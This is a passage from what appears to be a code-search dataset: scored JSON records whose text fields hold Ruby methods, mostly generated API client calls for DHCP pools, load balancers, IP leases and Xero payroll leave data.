"text": "def delete_dhcp_ip_pool(server_id, pool_id, opts = {})\n delete_dhcp_ip_pool_with_http_info(server_id, pool_id, opts)\n nil\n end",
"title": ""
},
{
"docid": "256be4becbcec6cf5993200ab262f8ff",
"score": "0.4338205",
"text": "def read_dhcp_relay_with_http_info(relay_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogicalRoutingAndServicesApi.read_dhcp_relay ...\"\n end\n # verify the required parameter 'relay_id' is set\n if @api_client.config.client_side_validation && relay_id.nil?\n fail ArgumentError, \"Missing the required parameter 'relay_id' when calling LogicalRoutingAndServicesApi.read_dhcp_relay\"\n end\n # resource path\n local_var_path = \"/dhcp/relays/{relay-id}\".sub('{' + 'relay-id' + '}', relay_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpRelayService')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogicalRoutingAndServicesApi#read_dhcp_relay\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "e07c63ee353ea683e86a57b820848e8f",
"score": "0.43368992",
"text": "def update_dhcp_ip_pool_with_http_info(server_id, pool_id, dhcp_ip_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.update_dhcp_ip_pool ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.update_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesDhcpApi.update_dhcp_ip_pool\"\n end\n # verify the required parameter 'dhcp_ip_pool' is set\n if @api_client.config.client_side_validation && dhcp_ip_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_ip_pool' when calling ManagementPlaneApiServicesDhcpApi.update_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = '/dhcp/servers/{server-id}/ip-pools/{pool-id}'.sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dhcp_ip_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#update_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "1b410bb50b05ac0182ecdd2e59d433b1",
"score": "0.43313247",
"text": "def lease_ttl(id)\n request.handle(:lease, 'lease_ttl', [id])\n end",
"title": ""
},
{
"docid": "0a9d5c7d5399be8b2da9fa9cf578a96a",
"score": "0.4330335",
"text": "def get_employee_statutory_leave_balances_with_http_info(xero_tenant_id, employee_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayrollUkApi.get_employee_statutory_leave_balances ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling PayrollUkApi.get_employee_statutory_leave_balances\"\n end\n # verify the required parameter 'employee_id' is set\n if @api_client.config.client_side_validation && employee_id.nil?\n fail ArgumentError, \"Missing the required parameter 'employee_id' when calling PayrollUkApi.get_employee_statutory_leave_balances\"\n end\n # resource path\n local_var_path = '/Employees/{EmployeeID}/StatutoryLeaveBalance'.sub('{' + 'EmployeeID' + '}', employee_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'LeaveType'] = opts[:'leave_type'] if !opts[:'leave_type'].nil?\n query_params[:'AsOfDate'] = opts[:'as_of_date'] if !opts[:'as_of_date'].nil?\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'Xero-Tenant-Id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'EmployeeStatutoryLeaveBalanceObject' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"PayrollUkApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayrollUkApi#get_employee_statutory_leave_balances\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "565153959519167ab64fe6cee71cd89c",
"score": "0.4327722",
"text": "def get_employee_leave_periods_with_http_info(xero_tenant_id, employee_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayrollUkApi.get_employee_leave_periods ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling PayrollUkApi.get_employee_leave_periods\"\n end\n # verify the required parameter 'employee_id' is set\n if @api_client.config.client_side_validation && employee_id.nil?\n fail ArgumentError, \"Missing the required parameter 'employee_id' when calling PayrollUkApi.get_employee_leave_periods\"\n end\n # resource path\n local_var_path = '/Employees/{EmployeeID}/LeavePeriods'.sub('{' + 'EmployeeID' + '}', employee_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'startDate'] = opts[:'start_date'] if !opts[:'start_date'].nil?\n query_params[:'endDate'] = opts[:'end_date'] if !opts[:'end_date'].nil?\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'Xero-Tenant-Id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'LeavePeriods' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"PayrollUkApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayrollUkApi#get_employee_leave_periods\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "deb44efd59b4090dbf9e2374b74cbeec",
"score": "0.43269518",
"text": "def add_lease(session, id, name, ip_addr)\n write_task('rvpe.vn.add_lease', session, true) do\n vnet = VirtualNetwork.find_by_id(id)[0]\n raise \"VirtualNetwork[#{id}] is not found.\" unless vnet\n VNetHandler.check_ip_validity(ip_addr)\n\n # create a lease on OpenNebula\n query = \"LEASES=[IP=#{ip_addr}]\"\n rc = call_one_xmlrpc('one.vn.addleases', session, vnet.oid, query)\n raise rc[1] unless rc[0]\n\n begin\n VNetHandler.add_lease_to_vnet(name, ip_addr, vnet)\n rescue => e\n call_one_xmlrpc('one.vn.rmleases', session, vnet.oid, query)\n raise e\n end\n\n [true, vnet.id]\n end\n end",
"title": ""
},
{
"docid": "0cc6f35eb8f1315440b2d3def3c6b11f",
"score": "0.4324724",
"text": "def elbs\n @elbs ||= client.load_balancers\n end",
"title": ""
},
{
"docid": "7bc3e38075781b6939bc3556bfa8d6d4",
"score": "0.43216917",
"text": "def get_employee_leave_periods_with_http_info(xero_tenant_id, employee_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayrollNzApi.get_employee_leave_periods ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling PayrollNzApi.get_employee_leave_periods\"\n end\n # verify the required parameter 'employee_id' is set\n if @api_client.config.client_side_validation && employee_id.nil?\n fail ArgumentError, \"Missing the required parameter 'employee_id' when calling PayrollNzApi.get_employee_leave_periods\"\n end\n # resource path\n local_var_path = '/Employees/{EmployeeID}/LeavePeriods'.sub('{' + 'EmployeeID' + '}', employee_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'startDate'] = opts[:'start_date'] if !opts[:'start_date'].nil?\n query_params[:'endDate'] = opts[:'end_date'] if !opts[:'end_date'].nil?\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'Xero-Tenant-Id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'LeavePeriods' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"PayrollNzApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayrollNzApi#get_employee_leave_periods\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "25427b7f8cc6513e1461fa9960f169a7",
"score": "0.43146494",
"text": "def create_dhcp_ip_pool(server_id, dhcp_ip_pool, opts = {})\n data, _status_code, _headers = create_dhcp_ip_pool_with_http_info(server_id, dhcp_ip_pool, opts)\n data\n end",
"title": ""
},
{
"docid": "a47e19e9d73809993f70c1dcfefee964",
"score": "0.43109494",
"text": "def create_dhcp_ip_pool(server_id, dhcp_ip_pool, opts = {})\n data, _status_code, _headers = create_dhcp_ip_pool_with_http_info(server_id, dhcp_ip_pool, opts)\n return data\n end",
"title": ""
},
{
"docid": "a47e19e9d73809993f70c1dcfefee964",
"score": "0.430945",
"text": "def create_dhcp_ip_pool(server_id, dhcp_ip_pool, opts = {})\n data, _status_code, _headers = create_dhcp_ip_pool_with_http_info(server_id, dhcp_ip_pool, opts)\n return data\n end",
"title": ""
},
{
"docid": "0ff76fb44224e768847c07ad16983fca",
"score": "0.43073687",
"text": "def get_employee_leaves(xero_tenant_id, employee_id, opts = {})\n data, _status_code, _headers = get_employee_leaves_with_http_info(xero_tenant_id, employee_id, opts)\n data\n end",
"title": ""
},
{
"docid": "0ff76fb44224e768847c07ad16983fca",
"score": "0.43073687",
"text": "def get_employee_leaves(xero_tenant_id, employee_id, opts = {})\n data, _status_code, _headers = get_employee_leaves_with_http_info(xero_tenant_id, employee_id, opts)\n data\n end",
"title": ""
},
{
"docid": "ab1824ba962fc3e7bf30ba75d70cc7b0",
"score": "0.4299243",
"text": "def pool(session, flag)\n read_task('rvpe.lease.pool', session) do\n uname = get_user_from_session(session)\n user = User.find_by_name(uname).last\n\n if flag < -1 || (flag >= 0 && flag != user.id)\n admin_session(session) do; end\n else # flag == -1\n end\n\n # lease search condition\n l_cond = nil\n if flag == -1\n l_cond = \"assigned_to=#{user.id} OR (assigned_to=-1 AND used=0)\"\n elsif flag >= 0\n l_cond = \"assigned_to=#{flag}\"\n end\n\n pool_e = REXML::Element.new('LEASE_POOL')\n Lease.each(l_cond) do |lease|\n lease_e = lease.to_xml_element(session)\n pool_e.add(lease_e)\n end\n doc = REXML::Document.new\n doc.add(pool_e)\n [true, doc.to_s]\n end\n end",
"title": ""
},
{
"docid": "e95bdf04de7ae29475886a99d711417c",
"score": "0.42953405",
"text": "def read_load_balancer_pool_with_http_info(pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesLoadbalancerApi.read_load_balancer_pool ...'\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesLoadbalancerApi.read_load_balancer_pool\"\n end\n # resource path\n local_var_path = '/loadbalancer/pools/{pool-id}'.sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesLoadbalancerApi#read_load_balancer_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "6b920685260048950a2342ae057784f6",
"score": "0.42939046",
"text": "def delete_ippool_ip_lease_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IppoolApi.delete_ippool_ip_lease ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling IppoolApi.delete_ippool_ip_lease\"\n end\n # resource path\n local_var_path = '/api/v1/ippool/IpLeases/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IppoolApi.delete_ippool_ip_lease\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IppoolApi#delete_ippool_ip_lease\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "fb4185dd3a055a13583a90fb993ba9e0",
"score": "0.4290799",
"text": "def update_dhcp_ip_pool_with_http_info(server_id, pool_id, dhcp_ip_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.update_dhcp_ip_pool ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.update_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ServicesApi.update_dhcp_ip_pool\"\n end\n # verify the required parameter 'dhcp_ip_pool' is set\n if @api_client.config.client_side_validation && dhcp_ip_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_ip_pool' when calling ServicesApi.update_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools/{pool-id}\".sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dhcp_ip_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#update_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "fb4185dd3a055a13583a90fb993ba9e0",
"score": "0.4290799",
"text": "def update_dhcp_ip_pool_with_http_info(server_id, pool_id, dhcp_ip_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.update_dhcp_ip_pool ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.update_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ServicesApi.update_dhcp_ip_pool\"\n end\n # verify the required parameter 'dhcp_ip_pool' is set\n if @api_client.config.client_side_validation && dhcp_ip_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_ip_pool' when calling ServicesApi.update_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools/{pool-id}\".sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dhcp_ip_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#update_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "f4119eadb8c93d0aa9367252182a440d",
"score": "0.42845866",
"text": "def get_lemmas(params)\n check_params params\n\n params = params.load_params\n\n endpoint = MORPHOLOGY_ENDPOINT + '/lemmas'\n RequestBuilder.new(@user_key, @alternate_url + endpoint, @http_client,\n BINDING_VERSION, params, @url_parameters)\n .send_post_request\n end",
"title": ""
},
{
"docid": "bb0e369d8f3ec5bc80647bd7d71fa438",
"score": "0.42700952",
"text": "def delete_dhcp_ip_pool(server_id, pool_id, opts = {})\n delete_dhcp_ip_pool_with_http_info(server_id, pool_id, opts)\n return nil\n end",
"title": ""
},
{
"docid": "bb0e369d8f3ec5bc80647bd7d71fa438",
"score": "0.42690188",
"text": "def delete_dhcp_ip_pool(server_id, pool_id, opts = {})\n delete_dhcp_ip_pool_with_http_info(server_id, pool_id, opts)\n return nil\n end",
"title": ""
},
{
"docid": "22c6cd5774d5b71586a587c82723fb0c",
"score": "0.42546913",
"text": "def list_dhcp_servers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.list_dhcp_servers ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiServicesDhcpApi.list_dhcp_servers, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiServicesDhcpApi.list_dhcp_servers, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/dhcp/servers'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalDhcpServerListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#list_dhcp_servers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "8b69bf67fdc8f410ad78fb5ed2e6b505",
"score": "0.42461136",
"text": "def list_dhcp_ip_pools(server_id, opts = {})\n data, _status_code, _headers = list_dhcp_ip_pools_with_http_info(server_id, opts)\n data\n end",
"title": ""
},
{
"docid": "4707ff187af78af5e2a10caf8935c534",
"score": "0.42279953",
"text": "def add_simple_dhcp_pool(edge_id:, ip_range:, subnet_mask:, default_gateway:, domain_name:, primary_name_server:, secondary_name_server:, lease_time:)\n\n api_endpoint = \"/api/4.0/edges/#{edge_id}/dhcp/config/ippools\"\n\n simple_dhcp_pool_hash = {\n :ip_range => ip_range,\n :default_gateway => default_gateway,\n :subnet_mask => subnet_mask,\n :domain_name => domain_name,\n :primary_name_server => primary_name_server,\n :secondary_name_server => secondary_name_server,\n :lease_time => lease_time || 3600\n }\n\n validate_edge_args(simple_dhcp_pool_hash, edge_id)\n @logger.info(\"Checking if DHCP IP pool already exists on edge: #{edge_id}\")\n if (ip_pool_id = check_simple_dhcp_pool_exists(edge_id, ip_range))\n @logger.info(\"Skipping DHCP IP Pool - already exists (edgeId: #{edge_id} ipRange: #{ip_range})\")\n return ip_pool_id\n end\n\n simple_dhcp_pool_obj = OpenStruct.new(simple_dhcp_pool_hash)\n payload = render_template('/templates/dhcp/simple-dhcp-pool.xml.erb', simple_dhcp_pool_obj)\n\n post(:api_endpoint => api_endpoint, :payload => payload)\n end",
"title": ""
},
{
"docid": "066a3e4fa420a86945b5714564d7ce0a",
"score": "0.422358",
"text": "def read_dhcp_server_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.read_dhcp_server ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.read_dhcp_server\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}\".sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalDhcpServer')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#read_dhcp_server\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "066a3e4fa420a86945b5714564d7ce0a",
"score": "0.422358",
"text": "def read_dhcp_server_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.read_dhcp_server ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.read_dhcp_server\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}\".sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LogicalDhcpServer')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#read_dhcp_server\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "55849422263b449223956781ebdc8cee",
"score": "0.42093295",
"text": "def past_leases()\n sql = 'SELECT * FROM leases\n WHERE customer_id = $1\n AND returned = TRUE\n ORDER BY end_date DESC'\n values = [@id]\n stock_item_hashes = SqlRunner.run(sql, values)\n return Lease.map_hashes(stock_item_hashes)\n end",
"title": ""
},
{
"docid": "aa422ac6bbf28eeadd6318087a9c7f71",
"score": "0.42067233",
"text": "def lbs\n lb = client.get(:loadbalancers)\n msg = \"Status: #{lb.status}\"\n raise Idcf::Cli::CliError, msg if !lb.success? || lb.status != 200\n\n lb.body\n end",
"title": ""
},
{
"docid": "02c532570eddd713bf5586592d66875f",
"score": "0.41995648",
"text": "def laps(options = {})\n if @laps.nil?\n @laps = @node.xpath('trk/trkseg').map {|node| Lap.create(node, self)}\n end\n\n ret = @laps\n\n # Other options can be passed on to the lap itself\n options.each_pair do |key, value|\n ret = ret.select {|lap|\n lap.send(key) == value\n }\n end\n ret\n end",
"title": ""
},
{
"docid": "29f91015273b7857974ad0806d6eee64",
"score": "0.41904417",
